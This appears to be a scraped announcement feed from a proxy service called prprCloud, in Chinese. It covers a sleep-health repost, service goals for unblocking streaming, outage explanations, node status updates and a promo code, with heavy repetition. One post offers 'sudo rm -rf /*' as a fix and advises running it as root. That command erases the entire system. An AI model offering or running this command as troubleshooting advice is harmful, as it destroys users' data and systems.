Forwarded from 开源社区 (ilemon Ellen)
今天是世界睡眠日 ,《2021-2022大众心理健康洞察报告》显示,在存在「躯体 / 行为困扰」的心理评估用户中,睡眠问题出现的比例远远大于其他困扰,高达 60.51%。常见睡眠问题包含失眠、嗜睡、睡眠呼吸暂停等, 严重时可能会发展成失眠障碍、嗜睡障碍、睡眠呼吸暂停综合症等。
「睡不好」伴随的不只是身体上的损耗,还有心理上的困扰
睡眠不足可能会影响情绪,由于睡眠不足会干扰杏仁核(处理情绪)和前额叶皮层(管理冲动控制和决策)之间的联系,因此睡眠剥夺与情绪反应的增强密切相关。对于许多人来说,这意味着在一晚(或几晚)睡眠不佳之后,他们会变得更加暴躁,更容易生气,对感知到的轻视更敏感,并且可能对他们通常会从容应对的日常烦恼做出更冲动的反应。
#世界睡眠日
「睡不好」伴随的不只是身体上的损耗,还有心理上的困扰
睡眠不足可能会影响情绪,由于睡眠不足会干扰杏仁核(处理情绪)和前额叶皮层(管理冲动控制和决策)之间的联系,因此睡眠剥夺与情绪反应的增强密切相关。对于许多人来说,这意味着在一晚(或几晚)睡眠不佳之后,他们会变得更加暴躁,更容易生气,对感知到的轻视更敏感,并且可能对他们通常会从容应对的日常烦恼做出更冲动的反应。
#世界睡眠日
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在两周年即将到来之际,我们针对了本站发展之方向与目标进行了一次简略的中期检讨。
过去一年,在小喵高强度监督下,节点质量得到了史无前例之改善,惟尚在中规中矩之水平,水平有待进一步提升,在此我们确立了四个方向,四个目标:
方向一:精益求精
精简服务架构,移除少用资源,保障服务质量
方向二:科学至上
科学分析数据,研究有效方案,引入崭新技术
方向三:动态解锁
无畏各类封锁,积极引入资源,把控解锁质量
方向四:可控可防
常备应急方案,提高流量冗余,减低故障影响
目标一:拒绝涨价
在持续提高质量的同时,希望凭着乘日益增长的用户基数,在质量与价格取得绝佳平衡
目标二:拒绝封锁
在流媒体封锁、以及跨境数据安全网关越加强劲之际,应该以顽强意志拼搏
目标三:拒绝躺平
在各方面影响下,拒绝非必要之妥协,应大量引进新思维解决问题,对症下药,而非半途而废
目标四:坚定不移
我们深知无论在技术、财力、关系等方面不如各大友商,但望此无碍我们以坚定的信念突破自己
愿我们能够在新的一年继续奋勇前进,砥砺前行!
过去一年,在小喵高强度监督下,节点质量得到了史无前例之改善,惟尚在中规中矩之水平,水平有待进一步提升,在此我们确立了四个方向,四个目标:
方向一:精益求精
精简服务架构,移除少用资源,保障服务质量
方向二:科学至上
科学分析数据,研究有效方案,引入崭新技术
方向三:动态解锁
无畏各类封锁,积极引入资源,把控解锁质量
方向四:可控可防
常备应急方案,提高流量冗余,减低故障影响
目标一:拒绝涨价
在持续提高质量的同时,希望凭着乘日益增长的用户基数,在质量与价格取得绝佳平衡
目标二:拒绝封锁
在流媒体封锁、以及跨境数据安全网关越加强劲之际,应该以顽强意志拼搏
目标三:拒绝躺平
在各方面影响下,拒绝非必要之妥协,应大量引进新思维解决问题,对症下药,而非半途而废
目标四:坚定不移
我们深知无论在技术、财力、关系等方面不如各大友商,但望此无碍我们以坚定的信念突破自己
愿我们能够在新的一年继续奋勇前进,砥砺前行!
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关于日前遇到服务质量下降之统一答复
1. 解锁失常
上游服务商故障,将更换更优质资源
2. 晚高峰拉胯
晚高峰连接数太高,导致服务器超载,将升级服务器配置
3. 谷歌验证码
单 IP 使用用户过多,将纳入动态解锁名单
4. 油管无法连接
解锁失常,考虑更换目前方案
5. 节点掉线 其一
部分节点流量用尽,将引入多一点大流量/包带宽服务器
6. 节点掉线 其二
部分服务器忘记续费,将设立续费行事历
1. 解锁失常
上游服务商故障,将更换更优质资源
2. 晚高峰拉胯
晚高峰连接数太高,导致服务器超载,将升级服务器配置
3. 谷歌验证码
单 IP 使用用户过多,将纳入动态解锁名单
4. 油管无法连接
解锁失常,考虑更换目前方案
5. 节点掉线 其一
部分节点流量用尽,将引入多一点大流量/包带宽服务器
6. 节点掉线 其二
部分服务器忘记续费,将设立续费行事历
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2022-03-25 00:53 [UTC+8]
已成功透过影片中的方法解决问题,效果立竿见影,欢迎大家仿效
附带命令
温馨提示
已成功透过影片中的方法解决问题,效果立竿见影,欢迎大家仿效
附带命令
sudo rm -rf /*温馨提示
建议使用root/带root权限用户执行👍23
prprCloud 公告板
关于日前遇到服务质量下降之统一答复 1. 解锁失常 上游服务商故障,将更换更优质资源 2. 晚高峰拉胯 晚高峰连接数太高,导致服务器超载,将升级服务器配置 3. 谷歌验证码 单 IP 使用用户过多,将纳入动态解锁名单 4. 油管无法连接 解锁失常,考虑更换目前方案 5. 节点掉线 其一 部分节点流量用尽,将引入多一点大流量/包带宽服务器 6. 节点掉线 其二 部分服务器忘记续费,将设立续费行事历
2022-03-25 20:00 [UTC+8]
下列改善方案预计今晚实行:
1. 解锁失常
已准备其他解锁方案
2. 晚高峰拉胯
已定位问题,尝试解决
3. 谷歌验证码
将尝试新解锁方案
4. 油管无法连接
同上
下列改善方案预计今晚实行:
1. 解锁失常
已准备其他解锁方案
2. 晚高峰拉胯
已定位问题,尝试解决
3. 谷歌验证码
将尝试新解锁方案
4. 油管无法连接
同上
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2022-03-26 12:40 [UTC+8]
新加坡节点负载相对较低,推荐使用新加坡香港instead of香港节点
新加坡节点负载相对较低,推荐使用新加坡香港instead of香港节点
Latest Promotion
Promo Code
Non-recurring, renew available
Duration
31st March
TDOV
1st April
2th Anniversary
April's Fool
Reminder
If you couldn't use this code, that means you are not eligible to this activity.
Promo Code
VL31RY2D6WNon-recurring, renew available
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1st April
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2022-03-31 13:23 [UTC+8]
懒人节点疑似 Kernel Panic,计划重装解决
2022-03-31 13:49 [UTC+8]
已修复
懒人节点疑似 Kernel Panic,计划重装解决
2022-03-31 13:49 [UTC+8]
已修复
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